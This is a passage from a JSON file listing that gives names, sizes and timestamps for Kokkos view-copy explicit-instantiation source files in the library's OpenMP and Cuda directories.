modified":1529436740}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int_int_LayoutRight_Rank2.cpp","size":2410,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int64_t_float_LayoutLeft_Rank1.cpp","size":2426,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int_double_LayoutStride_Rank3.cpp","size":2430,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int64_t_float_LayoutStride_Rank1.cpp","size":2434,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int_float_LayoutLeft_Rank3.cpp","size":2418,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int64_t_double_LayoutStride_Rank3.cpp","size":2446,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int_int64_t_LayoutStride_Rank4.cpp","size":2438,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int64_t_float_LayoutLeft_Rank2.cpp","size":2430,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int_double_LayoutRight_Rank5.cpp","size":2434,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int_float_LayoutStride_Rank3.cpp","size":2426,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int_double_LayoutLeft_Rank4.cpp","size":2426,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int_int_LayoutLeft_Rank8.cpp","size":2430,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int_float_LayoutStride_Rank2.cpp","size":2422,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int_float_LayoutLeft_Rank5.cpp","size":2426,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int_int64_t_LayoutStride_Rank3.cpp","size":2434,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int64_t_int64_t_LayoutStride_Rank3.cpp","size":2450,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int64_t_double_LayoutRight_Rank5.cpp","size":2450,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int64_t_int_LayoutRight_Rank4.cpp","size":2434,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int_double_LayoutRight_Rank8.cpp","size":2446,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int64_t_int64_t_LayoutLeft_Rank5.cpp","size":2450,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int_int_LayoutRight_Rank5.cpp","size":2422,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int64_t_int64_t_LayoutStride_Rank2.cpp","size":2446,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int_int_LayoutRight_Rank3.cpp","size":2414,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int64_t_int64_t_LayoutRight_Rank3.cpp","size":2446,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int_double_LayoutRight_Rank2.cpp","size":2422,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int64_t_float_LayoutRight_Rank3.cpp","size":2438,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int64_t_float_LayoutRight_Rank8.cpp","size":2458,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int_int64_t_LayoutRight_Rank5.cpp","size":2438,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int_int64_t_LayoutRight_Rank2.cpp","size":2426,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int64_t_int64_t_LayoutLeft_Rank1.cpp","size":2434,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int64_t_double_LayoutRight_Rank3.cpp","size":2442,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int64_t_int_LayoutRight_Rank1.cpp","size":2422,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int_int64_t_LayoutStride_Rank5.cpp","size":2442,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int_float_LayoutRight_Rank4.cpp","size":2426,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int_float_LayoutLeft_Rank8.cpp","size":2438,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int64_t_int_LayoutLeft_Rank4.cpp","size":2430,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int64_t_double_LayoutRight_Rank1.cpp","size":2434,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int_float_LayoutStride_Rank4.cpp","size":2430,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int_float_LayoutLeft_Rank1.cpp","size":2410,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int_double_LayoutRight_Rank3.cpp","size":2426,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int64_t_int64_t_LayoutRight_Rank5.cpp","size":2454,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int64_t_int_LayoutLeft_Rank2.cpp","size":2422,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int64_t_int_LayoutStride_Rank2.cpp","size":2430,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int64_t_double_LayoutLeft_Rank4.cpp","size":2442,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int_int_LayoutStride_Rank3.cpp","size":2418,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int_double_LayoutStride_Rank4.cpp","size":2434,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int64_t_double_LayoutRight_Rank8.cpp","size":2462,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int64_t_double_LayoutStride_Rank2.cpp","size":2442,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int_float_LayoutRight_Rank2.cpp","size":2418,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int_int_LayoutRight_Rank1.cpp","size":2406,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int_int_LayoutRight_Rank4.cpp","size":2418,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int_double_LayoutLeft_Rank2.cpp","size":2418,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int64_t_int64_t_LayoutLeft_Rank3.cpp","size":2442,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int64_t_int64_t_LayoutRight_Rank4.cpp","size":2450,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int_int64_t_LayoutRight_Rank1.cpp","size":2422,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int64_t_double_LayoutLeft_Rank1.cpp","size":2430,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int64_t_double_LayoutStride_Rank8.cpp","size":2466,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int_int_LayoutLeft_Rank5.cpp","size":2418,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int_float_LayoutRight_Rank5.cpp","size":2430,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int64_t_int64_t_LayoutRight_Rank1.cpp","size":2438,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int_double_LayoutRight_Rank4.cpp","size":2430,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int64_t_float_LayoutRight_Rank5.cpp","size":2446,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int_float_LayoutStride_Rank1.cpp","size":2418,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int64_t_int_LayoutRight_Rank2.cpp","size":2426,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int_int64_t_LayoutRight_Rank4.cpp","size":2434,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int_int64_t_LayoutRight_Rank3.cpp","size":2430,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int64_t_int64_t_LayoutStride_Rank1.cpp","size":2442,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int64_t_int64_t_LayoutRight_Rank8.cpp","size":2466,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int_double_LayoutStride_Rank2.cpp","size":2426,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int_float_LayoutRight_Rank3.cpp","size":2422,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int64_t_int64_t_LayoutRight_Rank2.cpp","size":2442,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int64_t_float_LayoutStride_Rank5.cpp","size":2450,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int64_t_float_LayoutLeft_Rank5.cpp","size":2442,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int64_t_double_LayoutLeft_Rank2.cpp","size":2434,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int64_t_int_LayoutStride_Rank1.cpp","size":2426,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int64_t_double_LayoutRight_Rank4.cpp","size":2446,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int64_t_double_LayoutLeft_Rank8.cpp","size":2458,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int64_t_int_LayoutLeft_Rank8.cpp","size":2446,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int64_t_int_LayoutLeft_Rank3.cpp","size":2426,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int_double_LayoutStride_Rank8.cpp","size":2450,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int_int64_t_LayoutLeft_Rank8.cpp","size":2446,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int_int_LayoutLeft_Rank4.cpp","size":2414,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int_float_LayoutLeft_Rank2.cpp","size":2414,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int64_t_int64_t_LayoutStride_Rank8.cpp","size":2470,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int64_t_float_LayoutStride_Rank3.cpp","size":2442,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int64_t_int64_t_LayoutLeft_Rank2.cpp","size":2438,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int_float_LayoutLeft_Rank4.cpp","size":2422,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int64_t_int_LayoutStride_Rank3.cpp","size":2434,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int64_t_float_LayoutRight_Rank2.cpp","size":2434,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int64_t_float_LayoutStride_Rank2.cpp","size":2438,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int_double_LayoutLeft_Rank5.cpp","size":2430,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int_int64_t_LayoutStride_Rank8.cpp","size":2454,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int64_t_int_LayoutStride_Rank4.cpp","size":2438,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int_int_LayoutStride_Rank2.cpp","size":2414,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int64_t_double_LayoutRight_Rank2.cpp","size":2438,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int64_t_int64_t_LayoutStride_Rank5.cpp","size":2458,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int_int64_t_LayoutLeft_Rank3.cpp","size":2426,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int64_t_int_LayoutRight_Rank3.cpp","size":2430,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int64_t_int64_t_LayoutLeft_Rank4.cpp","size":2446,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int_int_LayoutStride_Rank4.cpp","size":2422,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int_int64_t_LayoutRight_Rank8.cpp","size":2450,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int_float_LayoutStride_Rank5.cpp","size":2434,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int64_t_int64_t_LayoutLeft_Rank8.cpp","size":2462,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int_double_LayoutLeft_Rank3.cpp","size":2422,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int64_t_int_LayoutStride_Rank8.cpp","size":2454,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int64_t_int_LayoutLeft_Rank1.cpp","size":2418,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int_float_LayoutRight_Rank8.cpp","size":2442,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int64_t_double_LayoutLeft_Rank3.cpp","size":2438,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int64_t_double_LayoutStride_Rank1.cpp","size":2438,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int_double_LayoutLeft_Rank1.cpp","size":2414,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int64_t_double_LayoutStride_Rank4.cpp","size":2450,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int_int_LayoutLeft_Rank3.cpp","size":2410,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int64_t_float_LayoutStride_Rank8.cpp","size":2462,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int64_t_double_LayoutStride_Rank5.cpp","size":2454,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int64_t_float_LayoutLeft_Rank3.cpp","size":2434,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int_float_LayoutStride_Rank8.cpp","size":2446,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int64_t_float_LayoutRight_Rank1.cpp","size":2430,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int_int_LayoutStride_Rank8.cpp","size":2438,"last_modified":1529436740}{"name":"./kokkos/core/src/eti/OpenMP/Kokkos_OpenMP_ViewCopyETIInst_int_double_LayoutLeft_Rank8.cpp","size":2442,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/Cuda/Kokkos_Cuda_ViewCopyETIInst_int_float_LayoutLeft_Rank2.cpp","size":2406,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/Cuda/Kokkos_Cuda_ViewCopyETIInst_int_int64_t_LayoutLeft_Rank1.cpp","size":2410,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/Cuda/Kokkos_Cuda_ViewCopyETIInst_int_float_LayoutRight_Rank4.cpp","size":2418,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/Cuda/Kokkos_Cuda_ViewCopyETIInst_int64_t_double_LayoutRight_Rank3.cpp","size":2434,"last_modified":1529436738}{"name":"./kokkos/core/src/eti/Cuda/Kokkos_Cuda_ViewCopyETIInst_int64_t_float_LayoutRight_Rank5.cpp","size":2438,"last_modified":1529436738}{"name":"./kokkos/core/src/eti/Cuda/Kokkos_Cuda_ViewCopyETIInst_int64_t_int64_t_LayoutStride_Rank1.cpp","size":2434,"last_modified":1529436738}{"name":"./kokkos/core/src/eti/Cuda/Kokkos_Cuda_ViewCopyETIInst_int64_t_int_LayoutLeft_Rank5.cpp","size":2426,"last_modified":1529436738}{"name":"./kokkos/core/src/eti/Cuda/Kokkos_Cuda_ViewCopyETIInst_int64_t_double_LayoutLeft_Rank2.cpp","size":2426,"last_modified":1529436738}{"name":"./kokkos/core/src/eti/Cuda/Kokkos_Cuda_ViewCopyETIInst_int_float_LayoutLeft_Rank1.cpp","size":2402,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/Cuda/Kokkos_Cuda_ViewCopyETIInst_int_double_LayoutRight_Rank1.cpp","size":2410,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/Cuda/Kokkos_Cuda_ViewCopyETIInst_int_int_LayoutLeft_Rank8.cpp","size":2422,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/Cuda/Kokkos_Cuda_ViewCopyETIInst_int_int_LayoutStride_Rank4.cpp","size":2414,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/Cuda/Kokkos_Cuda_ViewCopyETIInst_int_int64_t_LayoutStride_Rank5.cpp","size":2434,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/Cuda/Kokkos_Cuda_ViewCopyETIInst_int_float_LayoutStride_Rank4.cpp","size":2422,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/Cuda/Kokkos_Cuda_ViewCopyETIInst_int_double_LayoutRight_Rank4.cpp","size":2422,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/Cuda/Kokkos_Cuda_ViewCopyETIInst_int64_t_int64_t_LayoutStride_Rank4.cpp","size":2446,"last_modified":1529436738}{"name":"./kokkos/core/src/eti/Cuda/Kokkos_Cuda_ViewCopyETIInst_int_double_LayoutLeft_Rank5.cpp","size":2422,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/Cuda/Kokkos_Cuda_ViewCopyETIInst_int_int64_t_LayoutLeft_Rank5.cpp","size":2426,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/Cuda/Kokkos_Cuda_ViewCopyETIInst_int64_t_double_LayoutStride_Rank4.cpp","size":2442,"last_modified":1529436738}{"name":"./kokkos/core/src/eti/Cuda/Kokkos_Cuda_ViewCopyETIInst_int64_t_int64_t_LayoutStride_Rank3.cpp","size":2442,"last_modified":1529436738}{"name":"./kokkos/core/src/eti/Cuda/Kokkos_Cuda_ViewCopyETIInst_int_double_LayoutStride_Rank2.cpp","size":2418,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/Cuda/Kokkos_Cuda_ViewCopyETIInst_int64_t_int64_t_LayoutLeft_Rank3.cpp","size":2434,"last_modified":1529436738}{"name":"./kokkos/core/src/eti/Cuda/Kokkos_Cuda_ViewCopyETIInst_int_int64_t_LayoutLeft_Rank2.cpp","size":2414,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/Cuda/Kokkos_Cuda_ViewCopyETIInst_int64_t_double_LayoutStride_Rank8.cpp","size":2458,"last_modified":1529436738}{"name":"./kokkos/core/src/eti/Cuda/Kokkos_Cuda_ViewCopyETIInst_int64_t_int_LayoutRight_Rank8.cpp","size":2442,"last_modified":1529436738}{"name":"./kokkos/core/src/eti/Cuda/Kokkos_Cuda_ViewCopyETIInst_int_float_LayoutRight_Rank2.cpp","size":2410,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/Cuda/Kokkos_Cuda_ViewCopyETIInst_int_int_LayoutRight_Rank1.cpp","size":2398,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/Cuda/Kokkos_Cuda_ViewCopyETIInst_int64_t_float_LayoutRight_Rank1.cpp","size":2422,"last_modified":1529436738}{"name":"./kokkos/core/src/eti/Cuda/Kokkos_Cuda_ViewCopyETIInst_int64_t_int64_t_LayoutRight_Rank8.cpp","size":2458,"last_modified":1529436738}{"name":"./kokkos/core/src/eti/Cuda/Kokkos_Cuda_ViewCopyETIInst_int64_t_float_LayoutStride_Rank8.cpp","size":2454,"last_modified":1529436738}{"name":"./kokkos/core/src/eti/Cuda/Kokkos_Cuda_ViewCopyETIInst_int64_t_float_LayoutStride_Rank3.cpp","size":2434,"last_modified":1529436738}{"name":"./kokkos/core/src/eti/Cuda/Kokkos_Cuda_ViewCopyETIInst_int_int_LayoutLeft_Rank1.cpp","size":2394,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/Cuda/Kokkos_Cuda_ViewCopyETIInst_int_int_LayoutRight_Rank4.cpp","size":2410,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/Cuda/Kokkos_Cuda_ViewCopyETIInst_int_float_LayoutRight_Rank3.cpp","size":2414,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/Cuda/Kokkos_Cuda_ViewCopyETIInst_int64_t_int64_t_LayoutRight_Rank2.cpp","size":2434,"last_modified":1529436738}{"name":"./kokkos/core/src/eti/Cuda/Kokkos_Cuda_ViewCopyETIInst_int_int64_t_LayoutRight_Rank1.cpp","size":2414,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/Cuda/Kokkos_Cuda_ViewCopyETIInst_int_double_LayoutStride_Rank3.cpp","size":2422,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/Cuda/Kokkos_Cuda_ViewCopyETIInst_int_double_LayoutStride_Rank5.cpp","size":2430,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/Cuda/Kokkos_Cuda_ViewCopyETIInst_int_int64_t_LayoutLeft_Rank3.cpp","size":2418,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/Cuda/Kokkos_Cuda_ViewCopyETIInst_int64_t_double_LayoutLeft_Rank4.cpp","size":2434,"last_modified":1529436738}{"name":"./kokkos/core/src/eti/Cuda/Kokkos_Cuda_ViewCopyETIInst_int_float_LayoutLeft_Rank8.cpp","size":2430,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/Cuda/Kokkos_Cuda_ViewCopyETIInst_int64_t_double_LayoutStride_Rank3.cpp","size":2438,"last_modified":1529436738}{"name":"./kokkos/core/src/eti/Cuda/Kokkos_Cuda_ViewCopyETIInst_int_double_LayoutStride_Rank8.cpp","size":2442,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/Cuda/Kokkos_Cuda_ViewCopyETIInst_int_int_LayoutStride_Rank5.cpp","size":2418,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/Cuda/Kokkos_Cuda_ViewCopyETIInst_int_int64_t_LayoutStride_Rank4.cpp","size":2430,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/Cuda/Kokkos_Cuda_ViewCopyETIInst_int_float_LayoutRight_Rank5.cpp","size":2422,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/Cuda/Kokkos_Cuda_ViewCopyETIInst_int_float_LayoutRight_Rank1.cpp","size":2406,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/Cuda/Kokkos_Cuda_ViewCopyETIInst_int_int64_t_LayoutStride_Rank8.cpp","size":2446,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/Cuda/Kokkos_Cuda_ViewCopyETIInst_int64_t_double_LayoutStride_Rank5.cpp","size":2446,"last_modified":1529436738}{"name":"./kokkos/core/src/eti/Cuda/Kokkos_Cuda_ViewCopyETIInst_int64_t_int_LayoutStride_Rank1.cpp","size":2418,"last_modified":1529436738}{"name":"./kokkos/core/src/eti/Cuda/Kokkos_Cuda_ViewCopyETIInst_int_double_LayoutStride_Rank1.cpp","size":2414,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/Cuda/Kokkos_Cuda_ViewCopyETIInst_int_float_LayoutStride_Rank5.cpp","size":2426,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/Cuda/Kokkos_Cuda_ViewCopyETIInst_int64_t_int_LayoutRight_Rank5.cpp","size":2430,"last_modified":1529436738}{"name":"./kokkos/core/src/eti/Cuda/Kokkos_Cuda_ViewCopyETIInst_int64_t_int_LayoutLeft_Rank2.cpp","size":2414,"last_modified":1529436738}{"name":"./kokkos/core/src/eti/Cuda/Kokkos_Cuda_ViewCopyETIInst_int64_t_int_LayoutLeft_Rank1.cpp","size":2410,"last_modified":1529436738}{"name":"./kokkos/core/src/eti/Cuda/Kokkos_Cuda_ViewCopyETIInst_int64_t_int_LayoutStride_Rank4.cpp","size":2430,"last_modified":1529436738}{"name":"./kokkos/core/src/eti/Cuda/Kokkos_Cuda_ViewCopyETIInst_int_int64_t_LayoutRight_Rank2.cpp","size":2418,"last_modified":1529436739}{"name":"./kokkos/core/src/eti/Cuda/Kokkos_Cuda_ViewCopyETIInst_int64_t_int_La